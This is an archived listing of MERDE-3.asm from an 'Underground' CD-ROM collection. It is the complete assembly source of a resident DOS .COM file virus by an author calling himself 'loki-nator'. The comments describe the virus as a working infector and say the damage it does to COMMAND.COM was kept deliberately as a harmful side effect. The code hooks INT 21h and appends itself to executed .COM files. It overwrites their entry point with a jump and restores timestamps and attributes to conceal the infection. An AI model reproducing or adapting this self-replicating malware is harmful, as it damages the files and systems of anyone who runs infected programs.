home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / merde-3.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  7.6 KB  |  405 lines

  1. ;  MERDE-3:   A resident, non-overwriting .Com infector by the loki-nator
  2.  
  3.  
  4.  
  5. ;Well, here it is, for what it's worth..  It is really kind of a 
  6.  
  7. ;piece of crap, but it is just a rough draft..
  8.  
  9. ;NOTES:
  10.  
  11. ;  If this gets into Command.Com, it (command) won't work for unknown reasons..
  12.  
  13. ;  I could have fixed it by just checking to make sure the file it is infecting
  14.  
  15. ;  isn't command.com, but I decided that this would be it's harmful side effect
  16.  
  17. ;  and left it...  I will have to fix several things in it, like its memory 
  18.  
  19. ;  handling, etc... It only infects files when they are loaded for EXECUTION!
  20.  
  21. ;  it won't infect .com files loaded by debug via AX=4b03, or al=anything
  22.  
  23. ;  except 00.... Also, it hooks int 71 for its own type of multiplex
  24.  
  25. ;  interrupt to check if the resident portion is already installed..
  26.  
  27. ;  I don't know if that will get me in trouble or not.  This is not very well
  28.  
  29. ;  tested, so it may hand under some circumstances or ill-behaved programs
  30.  
  31. ;  that mess with the memory (like I did)...  Well, I need to add .exe 
  32.  
  33. ;  infection, or I will be just a wanna-be virus writer!
  34.  
  35. ;  At this very moment, I will probably modify it for infection of any function
  36.  
  37. ;  that gives INT 21 a DS:DX pointer to a com file.
  38.  
  39. ;  Oh, yeah- If you compile it, you have to run the included Maker.bat file
  40.  
  41. ;  after you have compiled it (Use Tasm, but I guess anything will work.)
  42.  
  43.  
  44.  
  45. ;  Any GOOD virus writers out there will obviously notice how inefficient this
  46.  
  47. ;  is, so if you do, leave me mail with some pointers....
  48.  
  49.  
  50.  
  51. compare_val    equ    900
  52.  
  53. interrupt    equ    21h
  54.  
  55. Code_seg    Segment Byte
  56.  
  57.     Assume DS:Code_seg, CS:Code_seg
  58.  
  59.     ORG 100h
  60.  
  61. start:    mov    di,0100h            ;di=start
  62.  
  63.     mov    si,bx
  64.  
  65.     add    si,offset five_bytes-100h
  66.  
  67.     mov    cx,5
  68.  
  69.     rep    movsb
  70.  
  71.     int    71h
  72.  
  73.     cmp    ax,9999h
  74.  
  75.     jne    okay
  76.  
  77.     mov    ax,0100h
  78.  
  79.     xor    si,si
  80.  
  81.     xor    si,di
  82.  
  83.     xor    cx,cx
  84.  
  85.     jmp    ax
  86.  
  87. okay:    mov    di,bx
  88.  
  89.     sub    di,100h
  90.  
  91.     xor    ax,ax
  92.  
  93.     mov    es,ax
  94.  
  95.     mov    ax,es:[interrupt*4]
  96.  
  97.     mov    bx,es:[interrupt*4+2]
  98.  
  99.     mov    [di+int_21_saveo],ax
  100.  
  101.     mov    [di+int_21_saves],bx
  102.  
  103.     push    cs
  104.  
  105.     pop    es
  106.  
  107.     mov    [di+orig_stackp],sp
  108.  
  109.     cli
  110.  
  111.     mov    sp,di
  112.  
  113.     add    sp,offset my_stack
  114.  
  115.     sti
  116.  
  117.     push    ax
  118.  
  119.     push    bx
  120.  
  121.     push    cx
  122.  
  123.     push    dx
  124.  
  125.     push    bp
  126.  
  127.     push    ds
  128.  
  129.     push    es
  130.  
  131.     push    si
  132.  
  133.     push    di
  134.  
  135.     mov    [di+my_stack_save],sp
  136.  
  137.     cli
  138.  
  139.     mov    sp,[di+orig_stackp]
  140.  
  141.     sti                    
  142.  
  143.     int    12h
  144.  
  145.     mov    bx,cs
  146.  
  147.     mov    cx,1024
  148.  
  149.     mul    cx    
  150.  
  151.     clc
  152.  
  153.     mov    cx,400h
  154.  
  155.     sub    ax,cx
  156.  
  157.     sbb    dx,0000            ;dx:ax=where we want this mem to end!
  158.  
  159.     mov    [di+high_ram],dx
  160.  
  161.     mov    [di+low_ram],ax
  162.  
  163. here:    mov    cx,cs
  164.  
  165.     mov    ax,0010h
  166.  
  167.     mul    cx
  168.  
  169.     clc
  170.  
  171.     mov    cx,di
  172.  
  173.     add    cx,offset ending
  174.  
  175.     add    ax,cx
  176.  
  177.     adc    dx,0000
  178.  
  179.     clc
  180.  
  181.     sub    [di+low_ram],ax
  182.  
  183.     sbb    [di+high_ram],dx
  184.  
  185.     clc
  186.  
  187.     mov    ax,[di+low_ram]
  188.  
  189.     mov    dx,[di+high_ram]
  190.  
  191.     mov    cx,0010h
  192.  
  193.     div    cx        ;dx:ax=memory above this-divide it by 16
  194.  
  195.     mov    bx,ax
  196.  
  197.     mov    ah,4ah
  198.  
  199.     int    21h
  200.  
  201.     jnc    okay_1
  202.  
  203.     jmp    get_out
  204.  
  205. okay_1:    mov    ah,48h
  206.  
  207.     mov    bx,60h
  208.  
  209.     int    21h
  210.  
  211.     mov    [my_segment+di],ax
  212.  
  213.     jnc    okay_2
  214.  
  215.     jmp    get_out
  216.  
  217. okay_2:    push    di
  218.  
  219.     xor    di,di
  220.  
  221.     xor    si,si
  222.  
  223.     mov    es,ax
  224.  
  225.     mov    cx,100h
  226.  
  227.     rep    movsb
  228.  
  229.     pop    si
  230.  
  231.     push    si
  232.  
  233.     add    si,100h
  234.  
  235.     mov    cx,offset ending-100h
  236.  
  237.     rep    movsb
  238.  
  239.     pop    di
  240.  
  241.     mov    dx,es
  242.  
  243.     sub    dx,1
  244.  
  245.     mov    es,dx
  246.  
  247.     mov    es:[1],ax
  248.  
  249.     mov    byte ptr es:[0],'Z'
  250.  
  251.     mov    word ptr es:[3],0000
  252.  
  253.     mov    es,ax
  254.  
  255.     mov    es:[16h],ds
  256.  
  257.     mov    ax,offset return_to_file
  258.  
  259.     add    ax,di
  260.  
  261.     mov    es:[0ah],ax
  262.  
  263.     mov    es:[0ch],ds
  264.  
  265.     mov    ah,50h
  266.  
  267.     mov    bx,es
  268.  
  269.     int    21h
  270.  
  271.     mov    dx,600h
  272.  
  273.     mov    ax,es
  274.  
  275.     mov    ds,ax
  276.  
  277.     mov    es,ax
  278.  
  279.     push    cs
  280.  
  281.     pop    ss
  282.  
  283.     mov    word ptr cs:[return_to_file+di+1],di
  284.  
  285.     mov    sp,600h
  286.  
  287.     int    27h
  288.  
  289. return_to_file:
  290.  
  291.     mov    di,0000
  292.  
  293.     xor    ax,ax
  294.  
  295.     mov    es,ax
  296.  
  297.     mov    bx,offset my_21
  298.  
  299.     mov    ax,cs:[di+my_segment]
  300.  
  301.     mov    word ptr es:[interrupt*4],bx
  302.  
  303.     mov    word ptr es:[interrupt*4+2],ax
  304.  
  305.     mov    word ptr es:[71h*4+2],ax
  306.  
  307.     mov    bx,offset my_71    
  308.  
  309.     mov    word ptr es:[71h*4],bx
  310.  
  311.     mov    ax,cs
  312.  
  313.     cli
  314.  
  315.     mov    ss,ax
  316.  
  317.     mov    sp,cs:[my_stack_save+di]
  318.  
  319.     sti
  320.  
  321.     pop    di
  322.  
  323.     pop    si
  324.  
  325.     pop    es
  326.  
  327.     pop    ds
  328.  
  329.     pop    bp
  330.  
  331.     pop    dx
  332.  
  333.     pop    cx
  334.  
  335.     pop    bx
  336.  
  337.     pop    ax
  338.  
  339.     cli
  340.  
  341.     mov    sp,cs:[di+orig_stackp]
  342.  
  343.     sti
  344.  
  345.     mov    ax,0100h
  346.  
  347.     jmp    ax
  348.  
  349. get_out:
  350.  
  351.     mov    ax,cs
  352.  
  353.     cli
  354.  
  355.     mov    ss,ax
  356.  
  357.     mov    sp,cs:[di+my_stack_save]
  358.  
  359.     sti
  360.  
  361.     pop    di
  362.  
  363.     pop    si
  364.  
  365.     pop    es
  366.  
  367.     pop    ds
  368.  
  369.     pop    bp
  370.  
  371.     pop    dx
  372.  
  373.     pop    cx
  374.  
  375.     pop    bx
  376.  
  377.     pop    ax
  378.  
  379.     cli
  380.  
  381.     mov    sp,cs:[di+orig_stackp]
  382.  
  383.     sti
  384.  
  385.     mov    ax,0100h
  386.  
  387.     jmp    ax    
  388.  
  389.  
  390.  
  391.  
  392.  
  393. ;------------------------------------------------------------------
  394.  
  395.  
  396.  
  397. my_21:    
  398.  
  399.     cmp    ah,4bh
  400.  
  401.     je    continue_with_it
  402.  
  403.     jmp    continue_21
  404.  
  405. continue_with_it:
  406.  
  407.     cmp    al,00
  408.  
  409.     je    okay_go
  410.  
  411.     jmp    continue_21
  412.  
  413. okay_go:
  414.  
  415.     push    ax
  416.  
  417.     push    bx
  418.  
  419.     push    cx
  420.  
  421.     push    dx
  422.  
  423.     push    es
  424.  
  425.     push    di
  426.  
  427.     push    si
  428.  
  429.     push    bp
  430.  
  431.     push    es
  432.  
  433.     push    ds
  434.  
  435. check_file:
  436.  
  437.     mov    bx,dx
  438.  
  439.     xor    si,si
  440.  
  441. looper:    
  442.  
  443.     cmp    byte ptr ds:[bx+si],'.'
  444.  
  445.     je    check_com
  446.  
  447.     cmp    si,35
  448.  
  449.     jle    okay5
  450.  
  451.     jmp    give_up1
  452.  
  453. okay5:    inc    si
  454.  
  455.     jmp    looper
  456.  
  457. check_com:
  458.  
  459.     inc    si
  460.  
  461.     cmp    byte ptr ds:[bx+si],'c'
  462.  
  463.     je    check_for_infection
  464.  
  465.     cmp    byte ptr ds:[bx+si],'C'
  466.  
  467.     je    check_for_infection
  468.  
  469.     jmp    give_up1
  470.  
  471. check_for_infection:
  472.  
  473.     mov    cs:[high_file],ds
  474.  
  475.     mov    cs:[low_file],dx
  476.  
  477.     mov    ah,50h        ;set PSP to ours
  478.  
  479.     push    cs
  480.  
  481.     pop    bx
  482.  
  483.     call    dos_21
  484.  
  485.     mov    ah,43h
  486.  
  487.     xor    al,al
  488.  
  489.     call    dos_21
  490.  
  491.     jnc    okay9
  492.  
  493.     jmp    give_up
  494.  
  495. okay9:    mov    cs:[attrib],cx
  496.  
  497.     mov    ah,43h
  498.  
  499.     mov    al,1
  500.  
  501.     xor    cx,cx
  502.  
  503.     call    dos_21
  504.  
  505.     mov    ah,3dh
  506.  
  507.     mov    al,2
  508.  
  509.     call    dos_21
  510.  
  511.     jnc    okay10
  512.  
  513.     jmp    give_up
  514.  
  515. okay10:    mov    cs:[handle],ax
  516.  
  517.     mov    bx,ax
  518.  
  519.     mov    ah,57h
  520.  
  521.     xor    al,al
  522.  
  523.     call    dos_21
  524.  
  525.     mov    cs:[date],dx
  526.  
  527.     mov    cs:[time],cx
  528.  
  529.     mov    al,2
  530.  
  531.     mov    ah,42h
  532.  
  533.     xor    dx,dx
  534.  
  535.     xor    cx,cx
  536.  
  537.     call    dos_21
  538.  
  539.     jnc    okay11
  540.  
  541.     jmp    give_up
  542.  
  543. okay11:    cmp    dx,0
  544.  
  545.     je    okay12
  546.  
  547.     jmp    give_up
  548.  
  549. okay12:    mov    cs:[file_size],ax
  550.  
  551.     cmp    ax,64000
  552.  
  553.     jb    contin1
  554.  
  555.     call    reset_all
  556.  
  557.     jmp    give_up
  558.  
  559. contin1:
  560.  
  561.     cmp    ax,1024
  562.  
  563.     jnb    contin2
  564.  
  565.     call    reset_all
  566.  
  567.     jmp    give_up
  568.  
  569. contin2:
  570.  
  571.     sub    ax,compare_val
  572.  
  573.     mov    dx,ax
  574.  
  575.     xor    cx,cx
  576.  
  577.     mov    ah,42h
  578.  
  579.     xor    al,al
  580.  
  581.     mov    bx,cs:[handle]
  582.  
  583.     call    dos_21
  584.  
  585.     mov    ah,3fh
  586.  
  587.     push    cs
  588.  
  589.     pop    ds
  590.  
  591.     mov    dx,offset buffer
  592.  
  593.     mov    cx,2
  594.  
  595.     call    dos_21
  596.  
  597.     mov    ax,word ptr cs:[buffer]
  598.  
  599.     mov    bx,word ptr cs:[offset ending-compare_val]
  600.  
  601.     cmp    ax,bx
  602.  
  603.     jne    infect_it
  604.  
  605.     call    reset_all
  606.  
  607.     jmp    give_up
  608.  
  609. infect_it:
  610.  
  611.     xor    cx,cx
  612.  
  613.     xor    dx,dx
  614.  
  615.     mov    bx,cs:[handle]
  616.  
  617.     mov    ax,4200h
  618.  
  619.     call    dos_21
  620.  
  621.     mov    ah,3fh
  622.  
  623.     mov    cx,5
  624.  
  625.     push    cs
  626.  
  627.     pop    ds
  628.  
  629.     mov    dx,offset five_bytes
  630.  
  631.     call    dos_21
  632.  
  633.     mov    ax,4202h
  634.  
  635.     xor    cx,cx
  636.  
  637.     xor    dx,dx
  638.  
  639.     call    dos_21
  640.  
  641.     mov    ax,cs:[file_size]
  642.  
  643.     add    ax,100h
  644.  
  645.     mov    word ptr cs:[jumper+1],ax
  646.  
  647.     mov    ah,40h
  648.  
  649.     mov    cx,offset ending-100h
  650.  
  651.     mov    dx,0100h
  652.  
  653.     call    dos_21
  654.  
  655.     xor    cx,cx
  656.  
  657.     xor    dx,dx
  658.  
  659.     mov    ax,4200h
  660.  
  661.     mov    bx,cs:[handle]
  662.  
  663.     call    dos_21
  664.  
  665.     mov    dx,offset jumper
  666.  
  667.     mov    ah,40h
  668.  
  669.     mov    cx,5
  670.  
  671.     call    dos_21
  672.  
  673.     call    reset_all        
  674.  
  675. give_up:
  676.  
  677.     mov    ah,50h
  678.  
  679.     mov    bx,cs:[high_file]
  680.  
  681.     call    dos_21
  682.  
  683. give_up1:
  684.  
  685.     pop    ds
  686.  
  687.     pop    es
  688.  
  689.     pop    bp
  690.  
  691.     pop    si
  692.  
  693.     pop    di
  694.  
  695.     pop    es
  696.  
  697.     pop    dx
  698.  
  699.     pop    cx
  700.  
  701.     pop    bx
  702.  
  703.     pop    ax
  704.  
  705.     jmp    continue_21
  706.  
  707. continue_21:
  708.  
  709.     jmp    dword ptr cs:[int_21_saveo]
  710.  
  711. dos_21:
  712.  
  713.     pushf
  714.  
  715.     call    dword ptr cs:[int_21_saveo]
  716.  
  717.     ret
  718.  
  719.  
  720.  
  721. reset_all:
  722.  
  723.     mov    bx,cs:[handle]
  724.  
  725.     mov    cx,cs:[time]
  726.  
  727.     mov    dx,cs:[date]
  728.  
  729.     mov    ax,5701h
  730.  
  731.     call    dos_21
  732.  
  733.     mov    ah,3eh
  734.  
  735.     mov    bx,cs:[handle]
  736.  
  737.     call    dos_21
  738.  
  739.     mov    ah,43h
  740.  
  741.     mov    al,1
  742.  
  743.     mov    cx,cs:[attrib]
  744.  
  745.     mov    ds,cs:[high_file]
  746.  
  747.     mov    dx,cs:[low_file]
  748.  
  749.     call    dos_21
  750.  
  751.     ret    
  752.  
  753. my_71:
  754.  
  755.     mov    ax,9999h
  756.  
  757.     iret
  758.  
  759. dw    44 dup(00)
  760.  
  761. my_stack:
  762.  
  763. jumper:        mov    bx,0000
  764.  
  765.         jmp    bx
  766.  
  767. file_size    dw    0000
  768.  
  769. high_file    dw    0000
  770.  
  771. low_file    dw    0000
  772.  
  773. handle        dw    0000
  774.  
  775. attrib        dw    0000
  776.  
  777. date        dw    0000
  778.  
  779. time        dw    0000
  780.  
  781. int_21_saveo    dw    0000
  782.  
  783. int_21_saves    dw    0000
  784.  
  785. orig_stackp    dw    0000
  786.  
  787. my_stack_save    dw    0000
  788.  
  789. high_ram    dw    0000
  790.  
  791. low_ram        dw    0000
  792.  
  793. my_segment    dw    0000
  794.  
  795. buffer:        db    10 dup(00)
  796.  
  797. five_bytes:    db    0cdh,20h,90h,90h,90h
  798.  
  799. my_little_message_to_the_world:
  800.  
  801.  
  802.  
  803.     db    'Scan me, I LIKE IT!!!!-Loki-nator!'
  804.  
  805. ending:
  806.  
  807. Code_seg     ENDS
  808.  
  809. END    start